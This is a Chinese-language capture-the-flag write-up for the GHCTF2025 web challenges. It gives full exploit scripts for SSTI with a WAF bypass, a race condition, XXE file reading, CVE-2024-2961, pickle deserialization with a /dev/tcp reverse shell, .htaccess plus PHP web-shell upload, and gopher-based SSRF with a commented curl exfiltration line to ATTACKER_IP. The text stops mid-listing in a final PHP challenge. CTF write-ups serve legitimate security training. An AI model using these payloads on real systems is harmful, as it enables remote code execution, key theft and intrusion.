GHCTF2025-WEB-Writeup-by frank1q22

upload?SSTI!

这里先下载源码:

import os
import re

from flask import Flask, request, jsonify,render_template_string,send_from_directory, abort,redirect
from werkzeug.utils import secure_filename
import os
from werkzeug.utils import secure_filename

app = Flask(__name__)

# 配置信息
UPLOAD_FOLDER = 'static/uploads'  # 上传文件保存目录
ALLOWED_EXTENSIONS = {'txt', 'log', 'text','md','jpg','png','gif'}
MAX_CONTENT_LENGTH = 16 * 1024 * 1024  # 限制上传大小为 16MB

app.config['UPLOAD_FOLDER'] = UPLOAD_FOLDER
app.config['MAX_CONTENT_LENGTH'] = MAX_CONTENT_LENGTH

# 创建上传目录(如果不存在)
os.makedirs(UPLOAD_FOLDER, exist_ok=True)
def is_safe_path(basedir, path):
    return os.path.commonpath([basedir,path])


def contains_dangerous_keywords(file_path):
    dangerous_keywords = ['_', 'os', 'subclasses', '__builtins__', '__globals__','flag',]

    with open(file_path, 'rb') as f:
        file_content = str(f.read())


        for keyword in dangerous_keywords:
            if keyword in file_content:
                return True  # 找到危险关键字,返回 True

    return False  # 文件内容中没有危险关键字
def allowed_file(filename):
    return '.' in filename and \
        filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS


@app.route('/', methods=['GET', 'POST'])
def upload_file():
    if request.method == 'POST':
        # 检查是否有文件被上传
        if 'file' not in request.files:
            return jsonify({"error": "未上传文件"}), 400

        file = request.files['file']

        # 检查是否选择了文件
        if file.filename == '':
            return jsonify({"error": "请选择文件"}), 400

        # 验证文件名和扩展名
        if file and allowed_file(file.filename):
            # 安全处理文件名
            filename = secure_filename(file.filename)
            # 保存文件
            save_path = os.path.join(app.config['UPLOAD_FOLDER'], filename)
            file.save(save_path)



            # 返回文件路径(绝对路径)
            return jsonify({
                "message": "File uploaded successfully",
                "path": os.path.abspath(save_path)
            }), 200
        else:
            return jsonify({"error": "文件类型错误"}), 400

    # GET 请求显示上传表单(可选)
    return '''
    <!doctype html>
    <title>Upload File</title>
    <h1>Upload File</h1>
    <form method=post enctype=multipart/form-data>
      <input type=file name=file>
      <input type=submit value=Upload>
    </form>
    '''

@app.route('/file/<path:filename>')
def view_file(filename):
    try:
        # 1. 过滤文件名
        safe_filename = secure_filename(filename)
        if not safe_filename:
            abort(400, description="无效文件名")

        # 2. 构造完整路径
        file_path = os.path.join(app.config['UPLOAD_FOLDER'], safe_filename)

        # 3. 路径安全检查
        if not is_safe_path(app.config['UPLOAD_FOLDER'], file_path):
            abort(403, description="禁止访问的路径")

        # 4. 检查文件是否存在
        if not os.path.isfile(file_path):
            abort(404, description="文件不存在")

        suffix=os.path.splitext(filename)[1]
        print(suffix)
        if suffix==".jpg" or suffix==".png" or suffix==".gif":
            return send_from_directory("static/uploads/",filename,mimetype='image/jpeg')

        if contains_dangerous_keywords(file_path):
            # 删除不安全的文件
            os.remove(file_path)
            return jsonify({"error": "Waf!!!!"}), 400

        with open(file_path, 'rb') as f:
            file_data = f.read().decode('utf-8')
        tmp_str = """<!DOCTYPE html>
        <html lang="zh">
        <head>
            <meta charset="UTF-8">
            <meta name="viewport" content="width=device-width, initial-scale=1.0">
            <title>查看文件内容</title>
        </head>
        <body>
            <h1>文件内容:{name}</h1>  <!-- 显示文件名 -->
            <pre>{data}</pre>  <!-- 显示文件内容 -->

            <footer>
                <p>&copy; 2025 文件查看器</p>
            </footer>
        </body>
        </html>
        """.format(name=safe_filename, data=file_data)

        return render_template_string(tmp_str)

    except Exception as e:
        app.logger.error(f"文件查看失败: {str(e)}")
        abort(500, description="文件查看失败:{} ".format(str(e)))


# 错误处理(可选)
@app.errorhandler(404)
def not_found(error):
    return {"error": error.description}, 404


@app.errorhandler(403)
def forbidden(error):
    return {"error": error.description}, 403


if __name__ == '__main__':
    app.run("0.0.0.0",debug=False)

分析代码
 

@app.route('/file/<path:filename>')
def view_file(filename):
    try:
        # 1. 过滤文件名
        safe_filename = secure_filename(filename)
        if not safe_filename:
            abort(400, description="无效文件名")

        # 2. 构造完整路径
        file_path = os.path.join(app.config['UPLOAD_FOLDER'], safe_filename)

        # 3. 路径安全检查
        if not is_safe_path(app.config['UPLOAD_FOLDER'], file_path):
            abort(403, description="禁止访问的路径")

        # 4. 检查文件是否存在
        if not os.path.isfile(file_path):
            abort(404, description="文件不存在")

        suffix=os.path.splitext(filename)[1]
        print(suffix)
        if suffix==".jpg" or suffix==".png" or suffix==".gif":
            return send_from_directory("static/uploads/",filename,mimetype='image/jpeg')

        if contains_dangerous_keywords(file_path):
            # 删除不安全的文件
            os.remove(file_path)
            return jsonify({"error": "Waf!!!!"}), 400

        with open(file_path, 'rb') as f:
            file_data = f.read().decode('utf-8')
        tmp_str = """<!DOCTYPE html>
        <html lang="zh">
        <head>
            <meta charset="UTF-8">
            <meta name="viewport" content="width=device-width, initial-scale=1.0">
            <title>查看文件内容</title>
        </head>
        <body>
            <h1>文件内容:{name}</h1>  <!-- 显示文件名 -->
            <pre>{data}</pre>  <!-- 显示文件内容 -->

            <footer>
                <p>&copy; 2025 文件查看器</p>
            </footer>
        </body>
        </html>
        """.format(name=safe_filename, data=file_data)

        return render_template_string(tmp_str)

这段代码是造成ssti的主要原因,然后其实是文件内容可以造成ssti,因为这里被渲染了,当然这里存在waf,过滤了一些关键词。

做法1:常规waf绕过做法(利用fenjing)

from fenjing import exec_cmd_payload, config_payload
import logging
logging.basicConfig(level = logging.INFO)

def waf(s: str):
    blacklist = ['_', 'os', 'subclasses', '__builtins__', '__globals__','flag',]
    return all(word not in s for word in blacklist)

if __name__ == "__main__":
    shell_payload, _ = exec_cmd_payload(waf, "cat /flag")
    print(f"{shell_payload=}")

此代码,调用了fenjing进行waf绕过,可以生成payload

shell_payload="{%set ri=lipsum|escape|batch(22)|first|last%}{{((lipsum[ri+ri+'globals'+ri+ri][ri+ri+'builtins'+ri+ri][ri+ri+'import'+ri+ri]('o''s')).popen('cat /f''lag')).read()}}"

能成功绕过。

做法2:利用条件竞争

由于waf会对我们上传的文件的内容进行检测,这时,如果我们同时发包,将正常的payload进行传递,这个过程中,只要发包数量速度够快,当服务器检测的速度慢于我们的上传速度,这个时候,就会造成正常payload的执行,从而导致RCE。

import requests
import threading
from werkzeug.utils import secure_filename

# 全局停止标志
stop_flag = False


def upload_file(target_url, filename, content):
    """持续上传文件"""
    global stop_flag
    while not stop_flag:
        try:
            files = {'file': (filename, content)}
            r = requests.post(target_url, files=files)
            if r.status_code == 200:
                print(f"[+] 上传成功 {filename}")
        except Exception as e:
            print(f"上传错误: {e}")


def read_file(target_url, safe_filename):
    """持续读取文件并检查关键词"""
    global stop_flag
    while not stop_flag:
        try:
            r = requests.get(f"{target_url}/file/{safe_filename}")
            if r.status_code == 200:
                # 检测flag关键词
                if 'NSSCTF' in r.text or 'flag' in r.text:
                    print("\n[+] 发现flag内容!")
                    print(r.text)
                    stop_flag = True
            elif r.status_code == 404:
                print(f"[-] 文件不存在 {safe_filename}")
        except Exception as e:
            print(f"读取错误: {e}")


def main():
    # 配置参数
    server_url = "http://xxxxxx"

    # 用户输入文件名和内容
    user_file = input("请输入文件名(例如exploit.txt): ").strip()
    file_content = input("请输入文件内容: ").strip()

    # 生成安全文件名
    safe_name = secure_filename(user_file)
    print(f"[*] 实际使用的安全文件名: {safe_name}")

    # 创建并启动线程
    threads = []

    # 启动3个上传线程
    for _ in range(3):
        t = threading.Thread(target=upload_file, args=(server_url, user_file, file_content))
        threads.append(t)
        t.start()

    # 启动5个读取线程
    for _ in range(5):
        t = threading.Thread(target=read_file, args=(server_url, safe_name))
        threads.append(t)
        t.start()

    # 等待所有线程结束
    for t in threads:
        t.join()


if __name__ == "__main__":
    main()

成功竞争出来

(>﹏<)

这道题目是典型的xxe的题目。


from flask import Flask,request
import base64
from lxml import etree
import re
app = Flask(__name__)

@app.route('/')
def index():
    return open(__file__).read()


@app.route('/ghctf',methods=['POST'])
def parse():
    xml=request.form.get('xml')
    print(xml)
    if xml is None:
        return "No System is Safe."
    parser = etree.XMLParser(load_dtd=True, resolve_entities=True)
    root = etree.fromstring(xml, parser)
    name=root.find('name').text
    return name or None



if __name__=="__main__":
    app.run(host='0.0.0.0',port=8080)

分析代码就能知道,在路由/ghctf中,以POST的方式传入参数xml,关键点在于解析XML的部分。这里使用了lxml库的etree模块,创建了一个XML解析器parser,参数是load_dtd=True和resolve_entities=True。这两个参数可能开启外部实体解析,导致XXE漏洞。

并且没有过滤
 

payload:

import requests

# 配置目标信息
TARGET_URL = "xxxx"  # 替换为实际目标地址
FILE_TO_READ = "/flag"  # 尝试读取的文件路径

# 构造恶意XML
malicious_xml = f'''<!DOCTYPE foo [
    <!ENTITY xxe SYSTEM "file://{FILE_TO_READ}">
]>
<root>
    <name>&xxe;</name>
</root>'''

try:
    # 发送恶意请求
    response = requests.post(
        TARGET_URL,
        data={'xml': malicious_xml},
        timeout=10
    )

    # 解析响应
    if response.status_code == 200:
        print("[+] 攻击成功!响应内容:")
        print(response.text)
    else:
        print(f"[-] 请求失败,状态码:{response.status_code}")

except Exception as e:
    print(f"[-] 发生错误:{str(e)}")

ez_readfile

<?php
  show_source(__FILE__);
  if (md5($_POST['a']) === md5($_POST['b'])) {
      if ($_POST['a'] != $_POST['b']) {
          if (is_string($_POST['a']) && is_string($_POST['b'])) {
              echo file_get_contents($_GET['file']);
          }
      }
  }
?>

前面的两个条件就是强碰撞,这里不过多赘述,主要是后面的一段代码的利用。

echo file_get_contents($_GET['file']);

这个地方的利用方式,由于目标主机上面的flag。我们并不知道名字或者位置,所以这里要进行RCE
涉及到一个CVE-2024-2961。我们需要按照cve的介绍,得到以下两个东西:

maps //maps文件,路径/proc/self/maps
libc //libc文件  路径/lib/x86_64-linux-gnu/libc-2.31.so (由上述maps文件内容得到)

将base64解码以后保存为各自的文件。

再来修改poc:这里推荐
 

https://github.com/kezibei/php-filter-iconv
.......
maps_path = './maps'
cmd = 'echo 123 > 1.txt'
sleep_time = 1
padding = 20

if not os.path.exists(maps_path):
    exit("[-]no maps file")

regions = get_regions(maps_path)
heap, libc_info = get_symbols_and_addresses(regions)

libc_path = libc_info.path
print("[*]download: "+libc_path)

libc_path = './libc-2.23.so'
.......

其中cmd就是命令,可以改成自己想要命令。

传入payload

成功,后面就是代码执行,找flag了,不在过多赘述。

ezzzz_pickle

题目涉及到pickle反序列化,但是并没有waf还是比较简单。

来到登录页面,利用弱口令进行登录:

admin/admin123

抓个包看一下。

这里明显是一个文件读取,但是并不能读取flag,但我们可以读取源码,进行分析
 

from flask import Flask, request, redirect, make_response, render_template
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import padding
import pickle
import hmac
import hashlib
import base64
import time
import os

app = Flask(__name__)

def generate_key_iv():
    key = os.environ.get('SECRET_key').encode()
    iv = os.environ.get('SECRET_iv').encode()
    return key, iv

def aes_encrypt_decrypt(data, key, iv, mode='encrypt'):
    cipher = Cipher(algorithms.AES(key), modes.CBC(iv), backend=default_backend())
    
    if mode == 'encrypt':
        encryptor = cipher.encryptor()
        padder = padding.PKCS7(algorithms.AES.block_size).padder()
        padded_data = padder.update(data.encode()) + padder.finalize()
        result = encryptor.update(padded_data) + encryptor.finalize()
        return base64.b64encode(result).decode()
    
    elif mode == 'decrypt':
        decryptor = cipher.decryptor()
        encrypted_data_bytes = base64.b64decode(data)
        decrypted_data = decryptor.update(encrypted_data_bytes) + decryptor.finalize()
        unpadder = padding.PKCS7(algorithms.AES.block_size).unpadder()
        unpadded_data = unpadder.update(decrypted_data) + unpadder.finalize()
        return unpadded_data.decode()

users = {
    "admin": "admin123",
}

def create_session(username):
    session_data = {
        "username": username,
        "expires": time.time() + 3600
    }
    pickled = pickle.dumps(session_data)
    pickled_data = base64.b64encode(pickled).decode('utf-8')
    key, iv = generate_key_iv()
    session = aes_encrypt_decrypt(pickled_data, key, iv, mode='encrypt')
    return session

def dowload_file(filename):
    path = os.path.join("static", filename)
    with open(path, 'rb') as f:
        data = f.read().decode('utf-8')
    return data

def validate_session(cookie):
    try:
        key, iv = generate_key_iv()
        pickled = aes_encrypt_decrypt(cookie, key, iv, mode='decrypt')
        pickled_data = base64.b64decode(pickled)
        session_data = pickle.loads(pickled_data)
        if session_data["username"] != "admin":
            return False
        return session_data if session_data["expires"] > time.time() else False
    except:
        return False

@app.route("/", methods=['GET', 'POST'])
def index():
    if "session" in request.cookies:
        session = validate_session(request.cookies["session"])
        if session:
            data = ""
            filename = request.form.get("filename")
            if filename:
                data = dowload_file(filename)
            return render_template("index.html", name=session['username'], file_data=data)
    return redirect("/login")

@app.route("/login", methods=["GET", "POST"])
def login():
    if request.method == "POST":
        username = request.form.get("username")
        password = request.form.get("password")
        if users.get(username) == password:
            resp = make_response(redirect("/"))
            resp.set_cookie("session", create_session(username))
            return resp
        return render_template("login.html", error="Invalid username or password")
    return render_template("login.html")

@app.route("/logout")
def logout():
    resp = make_response(redirect("/login"))
    resp.delete_cookie("session")
    return resp

if __name__ == "__main__":
    app.run(host="0.0.0.0", debug=False)

分析代码,我们只要获取了AES的加密密钥,那么我们就能够伪造,生成payload.。并且密钥在环境变量中,可以直接在/proc/self/environ中获得。那这里我们得到攻击过程,写出攻击脚本:

import requests
import base64
import pickle
import os
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import padding

# 配置部分
TARGET_URL = "http://node2.anna.nssctf.cn:28777/"
LOGIN_URL = f"{TARGET_URL}/login"
FILE_READ_PATH = "../../../../proc/self/environ"  # 环境变量路径
LOCAL_IP = ""  # 攻击者监听IP
LOCAL_PORT = 4444  # 攻击者监听端口


# 1. 登录获取合法Cookie(用于路径遍历)
def get_initial_session():
    session = requests.Session()
    login_data = {
        "username": "admin",
        "password": "admin123"
    }
    resp = session.post(LOGIN_URL, data=login_data)
    return session


# 2. 利用路径遍历读取环境变量
def steal_secrets(session):
    resp = session.post(TARGET_URL, data={"filename": FILE_READ_PATH})
    if "key" in resp.text:  # 简单识别是否成功
        return parse_environment(resp.text)
    return None


def parse_environment(env_data):
    secrets = {}
    for line in env_data.split('\x00'):
        if 'SECRET_' in line:
            key, val = line.split('=', 1)
            secrets[key] = val
    return secrets


# 3. 生成恶意Pickle对象
class RCE:
    def __reduce__(self):
        # 反弹Shell命令(根据目标环境调整)
        cmd = f"/bin/bash -c 'exec /bin/bash -i &>/dev/tcp/{LOCAL_IP}/{LOCAL_PORT} <&1'"
        return (os.system, (cmd,))


def generate_evil_payload():
    pickled = pickle.dumps(RCE())
    return base64.b64encode(pickled).decode()


# 4. 加密生成恶意Cookie
def encrypt_payload(secret_key, secret_iv, payload):
    def _aes_encrypt(data, key, iv):
        cipher = Cipher(algorithms.AES(key), modes.CBC(iv), backend=default_backend())
        encryptor = cipher.encryptor()
        padder = padding.PKCS7(128).padder()
        padded = padder.update(data) + padder.finalize()
        return base64.b64encode(encryptor.update(padded) + encryptor.finalize()).decode()

    key = secret_key.encode()
    iv = secret_iv.encode()
    return _aes_encrypt(payload.encode(), key, iv)


# 5. 发送恶意请求
def exploit(evil_cookie):
    headers = {"Cookie": f"session={evil_cookie}"}
    resp = requests.get(TARGET_URL, headers=headers)
    return resp.status_code


if __name__ == "__main__":
    print("[*] 阶段1 - 获取初始会话...")
    session = get_initial_session()

    print("[*] 阶段2 - 窃取环境变量...")
    secrets = steal_secrets(session)
    if not secrets:
        print("[-] 环境变量窃取失败!")
        exit()

    print("[+] 获取到密钥:")
    print(f"SECRET_key: {secrets['SECRET_key']}")
    print(f"SECRET_iv: {secrets['SECRET_iv']}")

    print("[*] 阶段3 - 生成恶意负载...")
    evil_payload = generate_evil_payload()

    print("[*] 阶段4 - 加密生成会话Cookie...")
    evil_cookie = encrypt_payload(
        secrets['SECRET_key'],
        secrets['SECRET_iv'],
        evil_payload
    )

    print("[*] 阶段5 - 发送恶意请求(请确保监听器已启动)...")
    status = exploit(evil_cookie)
    print(f"[+] 利用完成,服务器响应状态码: {status}")
    print("请检查反向Shell是否建立成功")

成功反弹!

PS:请注意,上述代码需要在Linux环境下运行,才能反弹,windows不行。

UPUPUP

文件上传,这里其实考的是apache的.htaccess文件的上传,我们上传正常的图片马。

这里唯一有一点,我们在编写.htaccess文件的时候,需要在文件的最前面添加GIF89a,以此来绕过检测,但是添加了GIF89a以后,会对htaccess文件规范性造成破坏,导致无法正常解析图片马。所以这里考到了一个
 

#define width 1337
#define height 1337
AddHandler application/x-httpd-php .png

这样也能够绕过检测,并且由于前面的两行绕过字符添加了注释符,并没有破坏文件的规范性,能够正常的让我们的图片马被解析。这里直接给出攻击代码。

import requests

TARGET = "xxxxx"

# 固定 boundary 与请求包一致
BOUNDARY = "----WebKitFormBoundarydYAiLNdtGCB8aQvE"


def construct_multipart_body(files_data):
    """
    严格按原始请求包格式构造 multipart 内容
    """
    body = []
    # 文件部分
    for name, filename, content, content_type in files_data:
        body.append(f'--{BOUNDARY}')
        body.append(f'Content-Disposition: form-data; name="{name}"; filename="{filename}"')
        body.append(f'Content-Type: {content_type}')
        body.append('')
        body.append(content.decode('latin-1'))  # 保持二进制兼容
        body.append('')

    # 固定 "upload" 字段
    body.append(f'--{BOUNDARY}')
    body.append('Content-Disposition: form-data; name="upload"')
    body.append('')
    body.append('上传')
    body.append(f'--{BOUNDARY}--')

    return '\r\n'.join(body).encode('utf-8')  # 必须用 latin-1 编码


# 构造 .htaccess 内容(修复幻数问题)
htaccess_content = (
    b"#define width 1337\n"  # 幻数必须在前6字节
    b"#define height 1337\n"  # 注释避免语法错误  
    b"AddHandler application/x-httpd-php .png"
)

# 构造 multipart 数据
files_data = [
    ("file", ".htaccess", htaccess_content, "image/png")
]

headers = {
    "Host": "node2.anna.nssctf.cn:28272",
    "Content-Type": f"multipart/form-data; boundary={BOUNDARY}",
    "Referer": "http://node2.anna.nssctf.cn:28272/",
    # 其他头部必须与原始请求严格一致
    "Cache-Control": "max-age=0",
    "Accept-Encoding": "gzip, deflate",
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36",
    "Upgrade-Insecure-Requests": "1"
}

# 1. 上传 .htaccess
body = construct_multipart_body(files_data)
response = requests.post(
    TARGET,
    headers=headers,
    data=body,
    # 禁用自动计算 Content-Length
)
print(f"[*] .htaccess 上传状态码: {response.status_code}")
print(f"[*] 服务器响应: {response.text}")

# 2. 上传图片马
shell_content = (
    b"GIF89a\n"
    b"<?php system($_GET['cmd']); ?>")
files_data = [
    ("file", "shell.png", shell_content, "image/png")
]
body = construct_multipart_body(files_data)
response = requests.post(
    TARGET,
    headers=headers,
    data=body
)
print(f"[*] Shell 上传状态码: {response.status_code}")

# 3. 触发执行(根据服务器存储路径调整)
shell_url = TARGET + "images/shell.png"  # 常见存储路径可能是 /images/ 或 /uploads/
response = requests.get(shell_url, params={"cmd": "cat /flag"})
print("[+] 命令执行结果:")
print(response.text)

Goph3rrr

就看这个题目名字,就知道考的是ssrf。

来到题目,啥也没有,开始扫路由
 

下载源码进行分析:

from flask import Flask, request, send_file, render_template_string
import os
from urllib.parse import urlparse, urlunparse
import subprocess
import socket
import hashlib
import base64
import random

app = Flask(__name__)
BlackList = [
    "127.0.0.1"
]

@app.route('/')
def index():
    return '''
    <html>
        <head>
            <style>
                body {
                    background-size: cover; /* 背景图片覆盖整个页面 */
                    height: 100vh; /* 页面高度填满浏览器窗口 */
                    display: flex;
                    justify-content: center; /* 水平居中 */
                    align-items: center; /* 垂直居中 */
                    color: white; /* 字体颜色 */
                    font-family: Arial, sans-serif; /* 字体 */
                    text-align: center; /* 文字居中 */
                }
                h1 {
                    font-size: 50px;
                    transition: transform 0.2s ease-in-out; /* 设置浮动效果过渡时间 */
                }
                h1:hover {
                    transform: translateY(-10px); /* 向上浮动 */
                }
            </style>
        </head>
        <body>
            <h1>Hello Ctfer!!! Welcome to the GHCTF challenge! (≧∇≦)</h1>
        </body>
    </html>
    '''

@app.route('/Login', methods=['GET', 'POST'])
def login():
    junk_code()
    if request.method == 'POST':
        username = request.form.get('username')
        password = request.form.get('password')
        if username in users and users[username]['password'] == hashlib.md5(password.encode()).hexdigest():
            return b64e(f"Welcome back, {username}!")
        return b64e("Invalid credentials!")
    return render_template_string("""
        <!DOCTYPE html>
        <html lang="en">
        <head>
            <meta charset="UTF-8">
            <meta name="viewport" content="width=device-width, initial-scale=1.0">
            <title>Login</title>
            <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/css/bootstrap.min.css" rel="stylesheet">
            <style>
                body {
                    background-color: #f8f9fa;
                }
                .container {
                    max-width: 400px;
                    margin-top: 100px;
                }
                .card {
                    border: none;
                    border-radius: 10px;
                    box-shadow: 0 4px 6px rgba(0, 0, 0, 0.1);
                }
                .card-header {
                    background-color: #007bff;
                    color: white;
                    text-align: center;
                    border-radius: 10px 10px 0 0;
                }
                .btn-primary {
                    background-color: #007bff;
                    border: none;
                }
                .btn-primary:hover {
                    background-color: #0056b3;
                }
            </style>
        </head>
        <body>
            <div class="container">
                <div class="card">
                    <div class="card-header">
                        <h3>Login</h3>
                    </div>
                    <div class="card-body">
                        <form method="POST">
                            <div class="mb-3">
                                <label for="username" class="form-label">Username</label>
                                <input type="text" class="form-control" id="username" name="username" required>
                            </div>
                            <div class="mb-3">
                                <label for="password" class="form-label">Password</label>
                                <input type="password" class="form-control" id="password" name="password" required>
                            </div>
                            <button type="submit" class="btn btn-primary w-100">Login</button>
                        </form>
                    </div>
                </div>
            </div>
        </body>
        </html>
    """)

@app.route('/Gopher')
def visit():
    url = request.args.get('url')
    if url is None:
        return "No url provided :)"
    url = urlparse(url)
    realIpAddress = socket.gethostbyname(url.hostname)
    if url.scheme == "file" or realIpAddress in BlackList:
        return "No (≧∇≦)"
    result = subprocess.run(["curl", "-L", urlunparse(url)], capture_output=True, text=True)
    return result.stdout

@app.route('/RRegister', methods=['GET', 'POST'])
def register():
    junk_code()
    if request.method == 'POST':
        username = request.form.get('username')
        password = request.form.get('password')
        if username in users:
            return b64e("Username already exists!")
        users[username] = {'password': hashlib.md5(password.encode()).hexdigest()}
        return b64e("Registration successful!")
    return render_template_string("""
        <!DOCTYPE html>
        <html lang="en">
        <head>
            <meta charset="UTF-8">
            <meta name="viewport" content="width=device-width, initial-scale=1.0">
            <title>Register</title>
            <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/css/bootstrap.min.css" rel="stylesheet">
            <style>
                body {
                    background-color: #f8f9fa;
                }
                .container {
                    max-width: 400px;
                    margin-top: 100px;
                }
                .card {
                    border: none;
                    border-radius: 10px;
                    box-shadow: 0 4px 6px rgba(0, 0, 0, 0.1);
                }
                .card-header {
                    background-color: #28a745;
                    color: white;
                    text-align: center;
                    border-radius: 10px 10px 0 0;
                }
                .btn-success {
                    background-color: #28a745;
                    border: none;
                }
                .btn-success:hover {
                    background-color: #218838;
                }
            </style>
        </head>
        <body>
            <div class="container">
                <div class="card">
                    <div class="card-header">
                        <h3>Register</h3>
                    </div>
                    <div class="card-body">
                        <form method="POST">
                            <div class="mb-3">
                                <label for="username" class="form-label">Username</label>
                                <input type="text" class="form-control" id="username" name="username" required>
                            </div>
                            <div class="mb-3">
                                <label for="password" class="form-label">Password</label>
                                <input type="password" class="form-control" id="password" name="password" required>
                            </div>
                            <button type="submit" class="btn btn-success w-100">Register</button>
                        </form>
                    </div>
                </div>
            </div>
        </body>
        </html>
    """)

@app.route('/Manage', methods=['POST'])
def cmd():
    if request.remote_addr != "127.0.0.1":
        return "Forbidden!!!"
    if request.method == "GET":
        return "Allowed!!!"
    if request.method == "POST":
        return os.popen(request.form.get("cmd")).read()

@app.route('/Upload', methods=['GET', 'POST'])
def upload_avatar():
    junk_code()
    if request.method == 'POST':
        username = request.form.get('username')
        if username not in users:
            return b64e("User not found!")
        file = request.files.get('avatar')
        if file:
            file.save(os.path.join(avatar_dir, f"{username}.png"))
            return b64e("Avatar uploaded successfully!")
        return b64e("No file uploaded!")
    return render_template_string("""
        <!DOCTYPE html>
        <html lang="en">
        <head>
            <meta charset="UTF-8">
            <meta name="viewport" content="width=device-width, initial-scale=1.0">
            <title>Upload Avatar</title>
            <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/css/bootstrap.min.css" rel="stylesheet">
            <style>
                body {
                    background-color: #f8f9fa;
                }
                .container {
                    max-width: 400px;
                    margin-top: 100px;
                }
                .card {
                    border: none;
                    border-radius: 10px;
                    box-shadow: 0 4px 6px rgba(0, 0, 0, 0.1);
                }
                .card-header {
                    background-color: #dc3545;
                    color: white;
                    text-align: center;
                    border-radius: 10px 10px 0 0;
                }
                .btn-danger {
                    background-color: #dc3545;
                    border: none;
                }
                .btn-danger:hover {
                    background-color: #c82333;
                }
            </style>
        </head>
        <body>
            <div class="container">
                <div class="card">
                    <div class="card-header">
                        <h3>Upload Avatar</h3>
                    </div>
                    <div class="card-body">
                        <form method="POST" enctype="multipart/form-data">
                            <div class="mb-3">
                                <label for="username" class="form-label">Username</label>
                                <input type="text" class="form-control" id="username" name="username" required>
                            </div>
                            <div class="mb-3">
                                <label for="avatar" class="form-label">Avatar</label>
                                <input type="file" class="form-control" id="avatar" name="avatar" required>
                            </div>
                            <button type="submit" class="btn btn-danger w-100">Upload</button>
                        </form>
                    </div>
                </div>
            </div>
        </body>
        </html>
    """)


@app.route('/app.py')
def download_source():
    return send_file(__file__, as_attachment=True)

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=8000)

分析了代码,只发现两个路由,会对我们有用:

@app.route('/Gopher')
def visit():
    url = request.args.get('url')
    if url is None:
        return "No url provided :)"
    url = urlparse(url)
    realIpAddress = socket.gethostbyname(url.hostname)
    if url.scheme == "file" or realIpAddress in BlackList:
        return "No (≧∇≦)"
    result = subprocess.run(["curl", "-L", urlunparse(url)], capture_output=True, text=True)
    return result.stdout

此/Gopher路由,就是造成ssrf漏洞的成因,如何利用呢?下面这个代码

@app.route('/Manage', methods=['POST'])
def cmd():
    if request.remote_addr != "127.0.0.1":
        return "Forbidden!!!"
    if request.method == "GET":
        return "Allowed!!!"
    if request.method == "POST":
        return os.popen(request.form.get("cmd")).read()

明显可以看到,当我们以本地的身份对此/Manage路由,以POST形式传入cmd命令,就会被执行。所以我们要在/Gopher路由中,利用ssrf漏洞对/Manage进行RCE。

这里简单介绍一下ssrf中的gopher,gopher 协议是一个在http 协议诞生前用来访问Internet 资源的协议可以理解为http 协议的前身或简化版,虽然很古老但现在很多库还支持gopher 协议而且gopher 协议功能很强大。

它可以实现多个数据包整合发送,然后gopher 服务器将多个数据包捆绑着发送到客户端,这就是它的菜单响应。比如使用一条gopher 协议的curl 命令就能操作mysql 数据库或完成对redis 的攻击等等。

gopher 协议使用tcp 可靠连接。

攻击payload

import urllib.parse
import requests


def generate_gopher_payload(target_host, target_port, post_path, post_data):

    crlf = "\n"
    request = [
        f"POST {post_path} HTTP/1.1",
        f"Host: {target_host}:{target_port}",
        "Content-Type: application/x-www-form-urlencoded",
        f"Content-Length: {len(post_data)}",
        "",  # 空行分隔 Header 和 Body
        post_data
    ]
    raw_payload = crlf.join(request)

    # === 第一次编码 ===
    # 保留关键符号:/ : (避免破坏协议结构)
    encoded_payload = urllib.parse.quote(raw_payload, safe="/:")
    # 将单换行符 %0A 替换为 %0D%0A
    encoded_payload = encoded_payload.replace("%0A", "%0D%0A")

    # === 第二次编码 ===
    encoded_payload = urllib.parse.quote(encoded_payload, safe="")

    # 构造 Gopher URL
    gopher_url = f"gopher://{target_host}:{target_port}/_{encoded_payload}"
    return gopher_url


def ssrf_attack(ssrf_url, gopher_url):
    final_payload = gopher_url
    full_url = f"{ssrf_url}{final_payload}"

    # 发送请求
    response = requests.get(full_url)
    print(f"[+] 响应状态码: {response.status_code}")
    print(f"[+] 响应内容:\n{response.text}")


if __name__ == "__main__":
    # 攻击配置
    TARGET_HOST = "0.0.0.0"
    TARGET_PORT = "8000"
    POST_PATH = "/Manage"
    POST_DATA = "cmd=env"  # 或 "cmd=curl http://ATTACKER_IP/$(id|base64)"

    # 存在 SSRF 漏洞的 URL(实际目标)
    SSRF_VULNERABLE_URL = "http://node2.anna.nssctf.cn:28953/Gopher?url="

    # 生成 Payload
    gopher_url = generate_gopher_payload(TARGET_HOST, TARGET_PORT, POST_PATH, POST_DATA)
    print(f"[*] 合法的 Gopher URL:\n{gopher_url}")

    # 发起攻击
    ssrf_attack(SSRF_VULNERABLE_URL, gopher_url)

这是针对本题目而进行的payload编写,虽然不适用于全部的题目,但是在数据流为POST的情况下,还是能起到一些作用。

成功执行命令获得flag。

GetShell

访问题目得到代码:

<?php
highlight_file(__FILE__);

class ConfigLoader {
    private $config;

    public function __construct() {
        $this->config = [
            'debug' => true,
            'mode' => 'production',
            'log_level' => 'info',
            'max_input_length' => 100,
            'min_password_length' => 8,
            'allowed_actions' => ['run', 'debug', 'generate']
        ];
    }

    public function get($key) {
        return $this->config[$key] ?? null;
    }
}

class Logger {
    private $logLevel;

    public function __construct($logLevel) {
        $this->logLevel = $logLevel;
    }

    public function log($message, $level = 'info') {
        if ($level === $this->logLevel) {
            echo "[LOG] $message\n";
        }
    }
}

class UserManager {
    private $users = [];
    private $logger;

    public function __construct($logger) {
        $this->logger = $logger;
    }

    public function addUser($username, $password) {
        if (strlen($username) < 5) {
            return "Username must be at least 5 characters";
        }

        if (strlen($password) < 8) {
            return "Password must be at least 8 characters";
        }

        $this->users[$username] = password_hash($password, PASSWORD_BCRYPT);
        $this->logger->log("User $username added");
        return "User $username added";
    }

    public function authenticate($username, $password) {
